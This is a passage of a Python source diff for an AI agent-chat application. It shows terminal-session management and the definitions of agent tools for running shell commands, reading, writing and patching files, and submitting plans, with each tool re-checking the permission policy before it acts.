|
||||
project_dir: str = "",
|
||||
idle_timeout: float = 1800.0,
|
||||
max_sessions: int = 20,
|
||||
max_per_user: int = 3,
|
||||
cols: int = 80,
|
||||
rows: int = 24,
|
||||
integrate: bool = True,
|
||||
) -> Session:
|
||||
"""The shell for this chat, opening one if it is not already there.
|
||||
|
||||
Idempotent for the same reason `generation.ensure` is: a second tab, or the
|
||||
same tab after a reload, must attach to what is running rather than start a
|
||||
second shell on the same machine.
|
||||
"""
|
||||
existing = get(chat_id)
|
||||
if existing is not None:
|
||||
return existing
|
||||
|
||||
_reap()
|
||||
if count() >= max_sessions:
|
||||
raise ExecError(
|
||||
"This instance already has as many terminals open as it allows. "
|
||||
"Close one, or ask an administrator to raise the limit."
|
||||
)
|
||||
if count_for(owner_id) >= max_per_user:
|
||||
raise ExecError(
|
||||
f"You already have {max_per_user} terminal"
|
||||
f"{'' if max_per_user == 1 else 's'} open. Close one first."
|
||||
)
|
||||
|
||||
session = Session(
|
||||
chat_id,
|
||||
owner_id=owner_id,
|
||||
profile_id=profile_id,
|
||||
label=label,
|
||||
integrate=integrate,
|
||||
project_dir=project_dir,
|
||||
idle_timeout=idle_timeout,
|
||||
cols=cols,
|
||||
rows=rows,
|
||||
)
|
||||
await session.start(spec)
|
||||
_SESSIONS[chat_id] = session
|
||||
_ensure_reaper()
|
||||
log.info(
|
||||
"terminal opened chat=%s owner=%s profile=%s host=%s dir=%s",
|
||||
chat_id,
|
||||
owner_id,
|
||||
profile_id,
|
||||
label,
|
||||
project_dir or "~",
|
||||
)
|
||||
return session
|
||||
|
||||
|
||||
async def close_chat(chat_id: str, reason: str = CLOSED_REVOKED) -> bool:
|
||||
session = _SESSIONS.pop(chat_id, None)
|
||||
if session is None:
|
||||
return False
|
||||
await session.close(reason)
|
||||
return True
|
||||
|
||||
|
||||
async def close_for_profile(profile_id: str) -> int:
|
||||
"""End every shell opened on one connection.
|
||||
|
||||
`session.profile_for` re-checks the profile on every reply, so deleting or
|
||||
disabling one stops the model at once. A terminal resolves the profile
|
||||
when it opens and then holds the connection, so without this "I disabled
|
||||
that connection" would simply not be true of the shell already on screen.
|
||||
"""
|
||||
doomed = [s for s in _SESSIONS.values() if s.profile_id == profile_id and not s.closed]
|
||||
for session in doomed:
|
||||
_SESSIONS.pop(session.chat_id, None)
|
||||
await session.close(CLOSED_REVOKED)
|
||||
return len(doomed)
|
||||
|
||||
|
||||
async def close_for_owner(owner_id: str) -> int:
|
||||
doomed = [s for s in _SESSIONS.values() if s.owner_id == owner_id and not s.closed]
|
||||
for session in doomed:
|
||||
_SESSIONS.pop(session.chat_id, None)
|
||||
await session.close(CLOSED_REVOKED)
|
||||
return len(doomed)
|
||||
|
||||
|
||||
async def shutdown() -> None:
|
||||
"""End every shell. Called from the lifespan, beside stop_generations."""
|
||||
global _REAPER
|
||||
reaper, _REAPER = _REAPER, None
|
||||
if reaper is not None:
|
||||
reaper.cancel()
|
||||
with contextlib.suppress(asyncio.CancelledError, Exception):
|
||||
await reaper
|
||||
for session in list(_SESSIONS.values()):
|
||||
await session.close(CLOSED_SHUTDOWN)
|
||||
_SESSIONS.clear()
|
||||
|
||||
|
||||
def _reap() -> None:
|
||||
"""Drop sessions that have been closed long enough to stop explaining."""
|
||||
now = time.monotonic()
|
||||
for chat_id, session in list(_SESSIONS.items()):
|
||||
if session.closed and now - session.closed_at > KEEP_CLOSED:
|
||||
_SESSIONS.pop(chat_id, None)
|
||||
|
||||
|
||||
def _ensure_reaper() -> None:
|
||||
global _REAPER
|
||||
if _REAPER is None or _REAPER.done():
|
||||
_REAPER = asyncio.create_task(_reaper_loop())
|
||||
|
||||
|
||||
async def _reaper_loop() -> None:
|
||||
"""Close idle shells, then forget closed ones.
|
||||
|
||||
A task rather than a sweep inside `open_session`, which is the shape
|
||||
`generation` uses. That works there because a generation ends on its own and
|
||||
something calls in again; a shell at a prompt does neither, so a lazy sweep
|
||||
would run only when somebody opened the *next* terminal.
|
||||
"""
|
||||
while True:
|
||||
try:
|
||||
await asyncio.sleep(REAP_INTERVAL)
|
||||
for session in list(_SESSIONS.values()):
|
||||
if not session.closed and session.idle_for > session.idle_timeout:
|
||||
_SESSIONS.pop(session.chat_id, None)
|
||||
await session.close(CLOSED_IDLE)
|
||||
_reap()
|
||||
except asyncio.CancelledError:
|
||||
raise
|
||||
except Exception: # noqa: BLE001 - the reaper must outlive one bad sweep
|
||||
log.exception("the terminal reaper raised")
|
||||
|
||||
|
||||
def _drain(queue: asyncio.Queue) -> None:
|
||||
while True:
|
||||
try:
|
||||
queue.get_nowait()
|
||||
except asyncio.QueueEmpty:
|
||||
return
|
||||
|
||||
|
||||
def _clamp(value: int, low: int, high: int) -> int:
|
||||
try:
|
||||
number = int(value)
|
||||
except (TypeError, ValueError):
|
||||
return low
|
||||
return min(max(number, low), high)
|
||||
|
||||
|
||||
__all__ = [
|
||||
"CLOSED_EXITED",
|
||||
"CLOSED_IDLE",
|
||||
"CLOSED_REVOKED",
|
||||
"CLOSED_SHUTDOWN",
|
||||
"Session",
|
||||
"Viewer",
|
||||
"close_chat",
|
||||
"close_for_owner",
|
||||
"close_for_profile",
|
||||
"count",
|
||||
"count_for",
|
||||
"get",
|
||||
"open_session",
|
||||
"peek",
|
||||
"shutdown",
|
||||
]
|
||||
@@ -0,0 +1,796 @@
|
||||
"""The four things an agent chat can do to the machine it is pointed at.
|
||||
|
||||
Two rules shape all of them.
|
||||
|
||||
**The descriptions say nothing about where.** A tool description is schema, sent
|
||||
verbatim and deliberately not editable, and it states facts about what a runner
|
||||
does. Which machine, which directory and which mode is in force are facts about
|
||||
*this chat*, so they live in the harness fragment where they can change without
|
||||
the schema changing under a model mid-conversation.
|
||||
|
||||
**Every runner re-checks the mode.** `_authorise` in the generation loop is the
|
||||
real gate and runs before any of this, but a backstop here means a future path
|
||||
that reaches `run_tool` directly -- a retry, a test, an admin re-run button --
|
||||
cannot walk past it. That is the same instinct that closed the registry hole:
|
||||
the check belongs where the action is, not only where the action was decided.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import logging
|
||||
import posixpath
|
||||
from typing import Any
|
||||
|
||||
from lembas.services import plans
|
||||
from lembas.services.agent import index, instructions, patch, policy
|
||||
from lembas.services.agent.base import ExecError, ExecRequest
|
||||
from lembas.services.agent.session import AgentContext
|
||||
from lembas.services.tools import (
|
||||
RISK_EXECUTE,
|
||||
RISK_READ,
|
||||
RISK_WRITE,
|
||||
ToolContext,
|
||||
ToolDef,
|
||||
ToolOutcome,
|
||||
)
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
FAMILY_AGENT = "agent"
|
||||
|
||||
# How much of a command's output is kept on the message row for the transcript,
|
||||
# separately from what the model reads. `max_output` is spent once; this is
|
||||
# stored on every message forever.
|
||||
MAX_EVENT_CHARS = 4000
|
||||
|
||||
# And how much of a diff. Same reasoning as the constant above and the same
|
||||
# ceiling in spirit: a generated file's diff can be larger than the file, and
|
||||
# this one is stored on the row forever and re-parsed on every page load.
|
||||
MAX_DIFF_LINES = 200
|
||||
|
||||
_STRING = {"type": "string"}
|
||||
|
||||
|
||||
def _event(name: str, context: AgentContext, summary: str, **extra: Any) -> dict[str, Any]:
|
||||
"""One line in the transcript for one call.
|
||||
|
||||
No `label`. What a tool is called is decided by `services/tool_labels.py`,
|
||||
for every tool at once -- this used to write the SSH profile's name here, so
|
||||
a bubble said "homeserver · ls -la" and named the machine rather than the
|
||||
thing that was done. The machine is a fact about *where*, so it belongs with
|
||||
the directory in `detail`, which the template already renders in the body.
|
||||
"""
|
||||
where = context.label
|
||||
if context.project_dir:
|
||||
where = f"{where}:{context.project_dir}"
|
||||
return {
|
||||
"name": name,
|
||||
"kind": "agent",
|
||||
"query": summary,
|
||||
"detail": where,
|
||||
"results": [],
|
||||
**extra,
|
||||
}
|
||||
|
||||
|
||||
def _refused(name: str, context: AgentContext, summary: str, reason: str) -> ToolOutcome:
|
||||
return ToolOutcome(
|
||||
f"That was not allowed: {reason}",
|
||||
_event(name, context, summary, status="error", error=reason),
|
||||
)
|
||||
|
||||
|
||||
def _permitted(context: AgentContext, name: str, risk: str, command: str = "") -> str:
|
||||
"""Empty when this call may proceed, else why not.
|
||||
|
||||
The backstop. What it catches is a call arriving by a path that skipped
|
||||
`_authorise` -- a retry, a test, some future re-run button.
|
||||
|
||||
A call a person has just allowed carries `approved` and goes straight
|
||||
through. Without that this would refuse the very thing that was approved:
|
||||
the mode says "ask", and asking is precisely what happened.
|
||||
"""
|
||||
if context.approved:
|
||||
return ""
|
||||
|
||||
decision = policy.decide(
|
||||
mode=context.mode,
|
||||
risk=risk,
|
||||
tool_name=name,
|
||||
command=command,
|
||||
allow=context.allow,
|
||||
deny=context.deny,
|
||||
)
|
||||
if decision.verdict == policy.ALLOW:
|
||||
return ""
|
||||
return decision.reason or "it needs to be approved first."
|
||||
|
||||
|
||||
def _agent(context: ToolContext) -> AgentContext | None:
|
||||
return getattr(context, "agent", None)
|
||||
|
||||
|
||||
# --- Running a command --------------------------------------------------------
|
||||
async def _run_shell(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
agent = _agent(context)
|
||||
command = str(args.get("command") or "").strip()
|
||||
if agent is None:
|
||||
return ToolOutcome(
|
||||
"This conversation is not connected to a machine, so nothing can be run.",
|
||||
{"name": "shell_run", "status": "error", "error": "No connection.", "results": []},
|
||||
)
|
||||
if not command:
|
||||
return _refused("shell_run", agent, "", "no command was given.")
|
||||
|
||||
if reason := _permitted(agent, "shell_run", RISK_EXECUTE, command):
|
||||
return _refused("shell_run", agent, command, reason)
|
||||
|
||||
timeout = _timeout(args.get("timeout"), agent)
|
||||
try:
|
||||
result = await agent.executor().run(
|
||||
ExecRequest(
|
||||
command=command,
|
||||
cwd=str(args.get("cwd") or "").strip(),
|
||||
timeout=timeout,
|
||||
max_bytes=agent.max_output,
|
||||
)
|
||||
)
|
||||
except ExecError as exc:
|
||||
return ToolOutcome(
|
||||
exc.message, _event("shell_run", agent, command, status="error", error=exc.message)
|
||||
)
|
||||
|
||||
body = result.output.strip()
|
||||
if result.timed_out:
|
||||
head = f"The command was stopped after {timeout:g}s."
|
||||
elif result.exit_status == 0:
|
||||
head = "" if body else "It ran, and printed nothing."
|
||||
else:
|
||||
head = f"It exited {result.exit_status}."
|
||||
|
||||
content = f"{head}\n\n{body}".strip() if head else body
|
||||
return ToolOutcome(
|
||||
content or "It ran, and printed nothing.",
|
||||
_event(
|
||||
"shell_run",
|
||||
agent,
|
||||
command,
|
||||
status="ok" if result.ok else "error",
|
||||
error="" if result.ok else head,
|
||||
text=body[:MAX_EVENT_CHARS],
|
||||
),
|
||||
)
|
||||
|
||||
|
||||
def _timeout(raw: Any, agent: AgentContext) -> float:
|
||||
"""What the model asked for, bounded by what an administrator allowed."""
|
||||
try:
|
||||
wanted = float(raw) if raw is not None else agent.timeout
|
||||
except (TypeError, ValueError):
|
||||
wanted = agent.timeout
|
||||
return min(max(wanted, 1.0), agent.max_timeout)
|
||||
|
||||
|
||||
# --- Files ---------------------------------------------------------------------
|
||||
def _path_key(agent: AgentContext, path: str) -> str:
|
||||
"""One name for one file, so `./a.py` and `a.py` are the same file.
|
||||
|
||||
Relative paths are resolved against the project directory, which is what the
|
||||
executor does with them, so the two cannot disagree about what was read.
|
||||
"""
|
||||
if not posixpath.isabs(path) and agent.project_dir:
|
||||
path = posixpath.join(agent.project_dir, path)
|
||||
return posixpath.normpath(path)
|
||||
|
||||
|
||||
def _forget_instructions(agent: AgentContext, path: str) -> None:
|
||||
"""Drop the cached AGENTS.md when the thing just written *is* it.
|
||||
|
||||
The one case its TTL cannot cover: this process changing the file it has
|
||||
been quoting into every request for the last five minutes.
|
||||
"""
|
||||
if agent.profile_id and instructions.is_instruction_file(path, agent.project_dir):
|
||||
instructions.forget(agent.profile_id, agent.project_dir)
|
||||
|
||||
|
||||
async def _current(agent: AgentContext, path: str) -> tuple[str, bool]:
|
||||
"""What is in the file now, and whether it is safe to diff against.
|
||||
|
||||
Best effort, and one extra SFTP round trip on every write -- see the note in
|
||||
`_run_write`. A file that cannot be read and a file that does not exist are
|
||||
the same thing over SFTP without a second trip for a stat, and both are
|
||||
shown as a new file, which is what git does and is honest enough here.
|
||||
|
||||
Not diffable when the read came back at the ceiling: `read_file` truncates
|
||||
and says so in the text rather than in a flag, so a file at `max_output` is
|
||||
assumed truncated. Diffing a truncated original invents deletions of the
|
||||
tail, which is worse than showing no diff at all.
|
||||
"""
|
||||
try:
|
||||
text = await agent.executor().read_file(path, max_bytes=agent.max_output)
|
||||
except ExecError:
|
||||
return "", True
|
||||
return text, len(text) < agent.max_output
|
||||
|
||||
|
||||
async def _run_read(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
agent = _agent(context)
|
||||
path = str(args.get("path") or "").strip()
|
||||
if agent is None or not path:
|
||||
return _no_connection_or_path("file_read", agent, path)
|
||||
|
||||
if reason := _permitted(agent, "file_read", RISK_READ):
|
||||
return _refused("file_read", agent, path, reason)
|
||||
|
||||
try:
|
||||
text = await agent.executor().read_file(path, max_bytes=agent.max_output)
|
||||
except ExecError as exc:
|
||||
return ToolOutcome(
|
||||
exc.message, _event("file_read", agent, path, status="error", error=exc.message)
|
||||
)
|
||||
|
||||
# What makes `file_edit` possible: a patch may only be applied to something
|
||||
# this reply has actually looked at.
|
||||
agent.read_paths.add(_path_key(agent, path))
|
||||
|
||||
return ToolOutcome(
|
||||
text or "(the file is empty)",
|
||||
_event("file_read", agent, path, status="ok", text=text[:MAX_EVENT_CHARS]),
|
||||
)
|
||||
|
||||
|
||||
async def _run_write(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
agent = _agent(context)
|
||||
path = str(args.get("path") or "").strip()
|
||||
if agent is None or not path:
|
||||
return _no_connection_or_path("file_write", agent, path)
|
||||
|
||||
if reason := _permitted(agent, "file_write", RISK_WRITE):
|
||||
return _refused("file_write", agent, path, reason)
|
||||
|
||||
content = args.get("content")
|
||||
if not isinstance(content, str):
|
||||
content = "" if content is None else json.dumps(content, ensure_ascii=False)
|
||||
|
||||
# One extra SFTP round trip per write, on the hottest agent operation, and a
|
||||
# conscious trade. It buys the transcript a real diff instead of "1284
|
||||
# bytes" -- which is the difference between being able to see what an agent
|
||||
# did and having to go and look -- and it counts as having read the file, so
|
||||
# a write followed by an edit works in one reply.
|
||||
before, diffable = await _current(agent, path)
|
||||
|
||||
try:
|
||||
written = await agent.executor().write_file(path, content)
|
||||
except ExecError as exc:
|
||||
return ToolOutcome(
|
||||
exc.message, _event("file_write", agent, path, status="error", error=exc.message)
|
||||
)
|
||||
|
||||
agent.read_paths.add(_path_key(agent, path))
|
||||
|
||||
# The tree just changed, and this process is what changed it. The listing's
|
||||
# TTL is for drift nobody can see coming; leaving five more minutes of a
|
||||
# listing known to be wrong makes a model conclude the file it has just
|
||||
# written does not exist.
|
||||
if agent.profile_id:
|
||||
index.forget_dir(agent.profile_id, agent.project_dir)
|
||||
_forget_instructions(agent, path)
|
||||
|
||||
event = _event("file_write", agent, path, status="ok", text=f"{written} bytes")
|
||||
if diffable and before != content:
|
||||
event["diff"] = patch.render(before, content, path, max_lines=MAX_DIFF_LINES)
|
||||
|
||||
return ToolOutcome(f"Wrote {written} bytes to {path}.", event)
|
||||
|
||||
|
||||
async def _run_edit(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
"""Change part of a file by applying a unified diff.
|
||||
|
||||
The read-first requirement is the whole point. A patch written from memory
|
||||
against a file the model has not looked at either fails on context -- the
|
||||
good case -- or matches something it did not mean, and `file_write`'s
|
||||
failure mode is worse still: it silently drops everything the model did not
|
||||
happen to recall. Making the read compulsory turns "lost half the file" into
|
||||
"was told to read it first".
|
||||
"""
|
||||
agent = _agent(context)
|
||||
path = str(args.get("path") or "").strip()
|
||||
if agent is None or not path:
|
||||
return _no_connection_or_path("file_edit", agent, path)
|
||||
|
||||
if reason := _permitted(agent, "file_edit", RISK_WRITE):
|
||||
return _refused("file_edit", agent, path, reason)
|
||||
|
||||
if _path_key(agent, path) not in agent.read_paths:
|
||||
return ToolOutcome(
|
||||
f"Read the file first! Nothing was written. Call file_read on {path} "
|
||||
f"in this reply, then send a patch that matches what came back.",
|
||||
_event("file_edit", agent, path, status="error", error="Not read yet."),
|
||||
)
|
||||
|
||||
raw = args.get("patch")
|
||||
if not isinstance(raw, str) or not raw.strip():
|
||||
return ToolOutcome(
|
||||
"No patch was given. Send a unified diff: one or more "
|
||||
"`@@ -old,count +new,count @@` hunks.",
|
||||
_event("file_edit", agent, path, status="error", error="No patch."),
|
||||
)
|
||||
|
||||
before, diffable = await _current(agent, path)
|
||||
try:
|
||||
after = patch.apply(before, patch.parse(raw))
|
||||
except patch.PatchError as exc:
|
||||
# Returned, never raised: `run_tool`'s blanket catch would keep the
|
||||
# model going but lose the detail, and the detail is what it retries
|
||||
# from.
|
||||
return ToolOutcome(
|
||||
exc.message,
|
||||
_event("file_edit", agent, path, status="error", error=exc.message[:200]),
|
||||
)
|
||||
|
||||
if after == before:
|
||||
return ToolOutcome(
|
||||
f"That patch changes nothing in {path}. It is already as you want it.",
|
||||
_event("file_edit", agent, path, status="ok", text="no change"),
|
||||
)
|
||||
|
||||
try:
|
||||
written = await agent.executor().write_file(path, after)
|
||||
except ExecError as exc:
|
||||
return ToolOutcome(
|
||||
exc.message, _event("file_edit", agent, path, status="error", error=exc.message)
|
||||
)
|
||||
|
||||
# Deliberately NOT index.forget_dir: an edit does not change the listing,
|
||||
# because the file was already there. Forgetting it would cost the next
|
||||
# reply either a wait on `INDEX_WAIT` or a turn with no listing at all, and
|
||||
# buy nothing. The instruction file is the opposite case -- the listing only
|
||||
# cares that it exists, that cache is a copy of what is in it.
|
||||
_forget_instructions(agent, path)
|
||||
|
||||
event = _event("file_edit", agent, path, status="ok", text=f"{written} bytes")
|
||||
if diffable:
|
||||
event["diff"] = patch.render(before, after, path, max_lines=MAX_DIFF_LINES)
|
||||
|
||||
return ToolOutcome(f"Updated {path} ({written} bytes).", event)
|
||||
|
||||
|
||||
async def _run_list(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
agent = _agent(context)
|
||||
if agent is None:
|
||||
return _no_connection_or_path("file_list", agent, "")
|
||||
path = str(args.get("path") or "").strip()
|
||||
|
||||
if reason := _permitted(agent, "file_list", RISK_READ):
|
||||
return _refused("file_list", agent, path, reason)
|
||||
|
||||
try:
|
||||
names = await agent.executor().list_dir(path)
|
||||
except ExecError as exc:
|
||||
return ToolOutcome(
|
||||
exc.message, _event("file_list", agent, path, status="error", error=exc.message)
|
||||
)
|
||||
|
||||
where = path or agent.project_dir or "."
|
||||
body = "\n".join(names) if names else "(empty)"
|
||||
return ToolOutcome(
|
||||
f"{where}:\n{body}",
|
||||
_event("file_list", agent, where, status="ok", text=body[:MAX_EVENT_CHARS]),
|
||||
)
|
||||
|
||||
|
||||
def _no_connection_or_path(name: str, agent: AgentContext | None, path: str) -> ToolOutcome:
|
||||
if agent is None:
|
||||
return ToolOutcome(
|
||||
"This conversation is not connected to a machine.",
|
||||
{"name": name, "status": "error", "error": "No connection.", "results": []},
|
||||
)
|
||||
return _refused(name, agent, path, "no path was given.")
|
||||
|
||||
|
||||
# --- Proposing a plan -----------------------------------------------------------
|
||||
MAX_STEPS = 20
|
||||
|
||||
|
||||
async def _run_plan(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
"""Record a plan and stop.
|
||||
|
||||
Writes nothing and runs nothing, which is why it is `RISK_READ` and works in
|
||||
Plan mode without asking. The loop notices `plan_final` and ends the reply
|
||||
there: a plan followed by three more rounds of the model changing its mind
|
||||
is not a plan.
|
||||
|
||||
`steps` is still accepted alongside the structure. A small model sends it,
|
||||
`plans.normalise` turns it into one phase, and refusing would cost a whole
|
||||
round trip to say so.
|
||||
"""
|
||||
agent = _agent(context)
|
||||
plan = plans.build(
|
||||
title=args.get("title"),
|
||||
summary=args.get("summary"),
|
||||
findings=args.get("findings"),
|
||||
objectives=args.get("objectives"),
|
||||
phases=args.get("phases"),
|
||||
steps=args.get("steps"),
|
||||
)
|
||||
|
||||
if not plan or not plan["steps"]:
|
||||
return ToolOutcome(
|
||||
"A plan needs at least one task. Say what you would actually do, as "
|
||||
"phases of concrete tasks — or as a flat list of steps if there is "
|
||||
"only one phase of work.",
|
||||
{"name": "plan_submit", "kind": "plan", "status": "error",
|
||||
"error": "No tasks.", "results": []},
|
||||
)
|
||||
|
||||
if agent is not None:
|
||||
agent.plan = plan
|
||||
|
||||
return ToolOutcome(
|
||||
"Plan recorded. Stop here — they will read it and decide whether to "
|
||||
"carry it out. Do not start doing it.",
|
||||
{
|
||||
"name": "plan_submit",
|
||||
"kind": "plan",
|
||||
"detail": agent.label if agent else "",
|
||||
"query": plan["title"],
|
||||
"status": "ok",
|
||||
"results": [],
|
||||
# Read back by the loop, which puts it on the message so the
|
||||
# Execute button sends exactly what was proposed rather than an
|
||||
# approximation parsed out of the prose.
|
||||
"plan": plan,
|
||||
# Only `plan_submit` sets this, and it is what withdraws the tools
|
||||
# for the last round. `plan_update` is bookkeeping in the middle of
|
||||
# work and must not end the reply.
|
||||
"plan_final": True,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
async def _run_plan_update(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
"""Tick something off, or record something found.
|
||||
|
||||
`RISK_READ`, and the reasoning is worth stating because it sits in tension
|
||||
with `notes_edit` being `RISK_WRITE`. Risk is about what a tool does to *the
|
||||
world*, and the world the four modes govern is the machine -- this cannot
|
||||
touch it. Practically, `RISK_WRITE` would put an approval card on screen
|
||||
every time a task was ticked off: four cards to carry out a four-task plan,
|
||||
each one approving a bookkeeping entry, which is exactly the interruption
|
||||
that batching approvals exists to prevent. The distinguishing line against
|
||||
`notes_edit` is that a note is a durable artefact of the reader's that
|
||||
outlives the chat, while this is the chat's own record of what it is doing.
|
||||
An administrator who disagrees puts `plan_update` in the deny list.
|
||||
|
||||
It reads and writes `agent.plan` rather than the database, because a runner
|
||||
cannot write the message row -- and because two updates in one reply would
|
||||
otherwise both read the same stale plan and the second would lose the first.
|
||||
"""
|
||||
agent = _agent(context)
|
||||
if agent is None or not agent.plan:
|
||||
return ToolOutcome(
|
||||
"There is no plan for this conversation yet, so there is nothing to "
|
||||
"update.",
|
||||
{"name": "plan_update", "kind": "plan", "status": "error",
|
||||
"error": "No plan.", "results": []},
|
||||
)
|
||||
|
||||
plan, changed = plans.merge(agent.plan, args)
|
||||
if not changed:
|
||||
return ToolOutcome(
|
||||
"Nothing in the plan changed. Quote a task or objective id from the "
|
||||
"plan above — they look like t1 and o1.",
|
||||
{"name": "plan_update", "kind": "plan", "status": "error",
|
||||
"error": "Nothing matched.", "results": []},
|
||||
)
|
||||
|
||||
agent.plan = plan
|
||||
return ToolOutcome(
|
||||
"Plan updated: " + ", ".join(changed) + ". Carry on with the work.",
|
||||
{
|
||||
"name": "plan_update",
|
||||
"kind": "plan",
|
||||
"detail": agent.label,
|
||||
"query": plan["title"],
|
||||
"status": "ok",
|
||||
"results": [],
|
||||
"plan": plan,
|
||||
"text": "\n".join(changed),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
# --- The definitions -----------------------------------------------------------
|
||||
def tool_defs(context: AgentContext | None = None) -> list[ToolDef]:
|
||||
"""The agent tools, bound to one chat's machine.
|
||||
|
||||
`None` yields the same definitions unbound, which is what `tools.registry`
|
||||
needs: it maps an offered tool *name* back to its family and has no chat to
|
||||
resolve. Their runners still work -- they report that the conversation is
|
||||
not connected to a machine, which is true.
|
||||
|
||||
`plan_submit` is offered in Plan mode and nowhere else. It ends the reply,
|
||||
and a model in Auto mode that proposed a plan instead of doing the work
|
||||
would be obeying the wrong instinct at exactly the wrong moment.
|
||||
"""
|
||||
defs = [
|
||||
ToolDef(
|
||||
name="shell_run",
|
||||
family=FAMILY_AGENT,
|
||||
description=(
|
||||
"Run a shell command and read back everything it printed, stdout "
|
||||
"and stderr together. Each call is a fresh shell, so a `cd` in one "
|
||||
"does not carry into the next — pass `cwd` instead. Nothing can "
|
||||
"answer a prompt, so pass the flags that make a command "
|
||||
"non-interactive rather than waiting for it to ask."
|
||||
),
|
||||
parameters={
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"command": {**_STRING, "description": "The command line to run."},
|
||||
"cwd": {
|
||||
**_STRING,
|
||||
"description": "Where to run it. Defaults to the project directory.",
|
||||
},
|
||||
"timeout": {
|
||||
"type": "number",
|
||||
"description": "Seconds to allow. Bounded by the instance settings.",
|
||||
},
|
||||
},
|
||||
"required": ["command"],
|
||||
},
|
||||
run=_run_shell,
|
||||
risk=RISK_EXECUTE,
|
||||
),
|
||||
ToolDef(
|
||||
name="file_read",
|
||||
family=FAMILY_AGENT,
|
||||
description=(
|
||||
"Read a text file. A relative path is taken from the project "
|
||||
"directory. Large files are cut off at the end rather than "
|
||||
"refused, and you are told when that happened."
|
||||
),
|
||||
parameters={
|
||||
"type": "object",
|
||||
"properties": {"path": {**_STRING, "description": "The file to read."}},
|
||||
"required": ["path"],
|
||||
},
|
||||
run=_run_read,
|
||||
risk=RISK_READ,
|
||||
),
|
||||
ToolDef(
|
||||
name="file_write",
|
||||
family=FAMILY_AGENT,
|
||||
description=(
|
||||
"Create a text file, or replace an existing one entirely. A "
|
||||
"relative path is taken from the project directory. Use this for a "
|
||||
"new file, or when you are rewriting the whole thing. To change "
|
||||
"part of a file that already exists, use file_edit instead: it is "
|
||||
"cheaper, and it cannot silently lose the parts you did not mean "
|
||||
"to touch."
|
||||
),
|
||||
parameters={
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"path": {**_STRING, "description": "The file to write."},
|
||||
"content": {**_STRING, "description": "Its whole new contents."},
|
||||
},
|
||||
"required": ["path", "content"],
|
||||
},
|
||||
run=_run_write,
|
||||
risk=RISK_WRITE,
|
||||
),
|
||||
ToolDef(
|
||||
name="file_edit",
|
||||
family=FAMILY_AGENT,
|
||||
description=(
|
||||
"Change part of a text file by applying a unified diff. You must "
|
||||
"have read the file with file_read in this same reply first, or "
|
||||
"this is refused — a patch written from memory is how a change "
|
||||
"quietly becomes a rewrite.\n"
|
||||
"\n"
|
||||
"Send an ordinary patch: one or more `@@ -old,count +new,count @@` "
|
||||
"hunks, each with about three unchanged lines of context on either "
|
||||
"side of the change, ' ' for context, '-' to remove and '+' to add. "
|
||||
"The line numbers may be approximate — the context lines must be "
|
||||
"exact. Nothing is written unless every hunk applies, and you are "
|
||||
"told which one failed and what the file has there instead."
|
||||
),
|
||||
parameters={
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"path": {**_STRING, "description": "The file to change."},
|
||||
"patch": {
|
||||
**_STRING,
|
||||
"description": "The unified diff to apply.",
|
||||
},
|
||||
},
|
||||
"required": ["path", "patch"],
|
||||
},
|
||||
run=_run_edit,
|
||||
risk=RISK_WRITE,
|
||||
),
|
||||
ToolDef(
|
||||
name="file_list",
|
||||
family=FAMILY_AGENT,
|
||||
description=(
|
||||
"List a directory. Defaults to the project directory. Use this "
|
||||
"before guessing at a path."
|
||||
),
|
||||
parameters={
|
||||
"type": "object",
|
||||
"properties": {"path": {**_STRING, "description": "The directory to list."}},
|
||||
"required": [],
|
||||
},
|
||||
run=_run_list,
|
||||
risk=RISK_READ,
|
||||
),
|
||||
ToolDef(
|
||||
name="plan_submit",
|
||||
family=FAMILY_AGENT,
|
||||
description=(
|
||||
"Set out what you would do, and stop. Use this to finish when you "
|
||||
"have been asked to plan rather than to act: they will read it "
|
||||
"and decide whether to carry it out.\n"
|
||||
"\n"
|
||||
"Say what you FOUND while looking, what the work is FOR, and then "
|
||||
"the work itself as PHASES of concrete tasks. A task should be "
|
||||
"one thing, specific enough to follow — name the files and the "
|
||||
"commands. If the work is short enough that phases would be "
|
||||
"ceremony, send `steps` instead and it becomes one phase.\n"
|
||||
"\n"
|
||||
"Findings are the part people skip and the part that makes a plan "
|
||||
"worth reading: what is actually there, what surprised you, what "
|
||||
"the plan is working around."
|
||||
),
|
||||
parameters={
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"title": {**_STRING, "description": "What the plan achieves, in a line."},
|
||||
"summary": {
|
||||
**_STRING,
|
||||
"description": "One line on the approach. Optional.",
|
||||
},
|
||||
"findings": {
|
||||
"type": "array",
|
||||
"items": _STRING,
|
||||
"description": (
|
||||
"What you established while looking: what is there, "
|
||||
"what constrains the work, what you ruled out."
|
||||
),
|
||||
},
|
||||
"objectives": {
|
||||
"type": "array",
|
||||
"items": _STRING,
|
||||
"description": "What this is for. What has to be true at the end.",
|
||||
},
|
||||
"phases": {
|
||||
"type": "array",
|
||||
"description": "The work, in order.",
|
||||
"items": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"title": {**_STRING, "description": "What this phase does."},
|
||||
"tasks": {
|
||||
"type": "array",
|
||||
"items": _STRING,
|
||||
"description": "One thing each, in order.",
|
||||
},
|
||||
},
|
||||
"required": ["title", "tasks"],
|
||||
},
|
||||
},
|
||||
"steps": {
|
||||
"type": "array",
|
||||
"items": _STRING,
|
||||
"description": (
|
||||
"Instead of phases, when the work is one phase. "
|
||||
"Becomes a single phase."
|
||||
),
|
||||
},
|
||||
},
|
||||
"required": ["title"],
|
||||
},
|
||||
run=_run_plan,
|
||||
# It writes nothing and runs nothing, so it needs no approval --
|
||||
# which is the point: Plan mode has to be able to finish.
|
||||
risk=RISK_READ,
|
||||
),
|
||||
ToolDef(
|
||||
name="plan_update",
|
||||
family=FAMILY_AGENT,
|
||||
description=(
|
||||
"Keep the plan current while you carry it out. Call it when a "
|
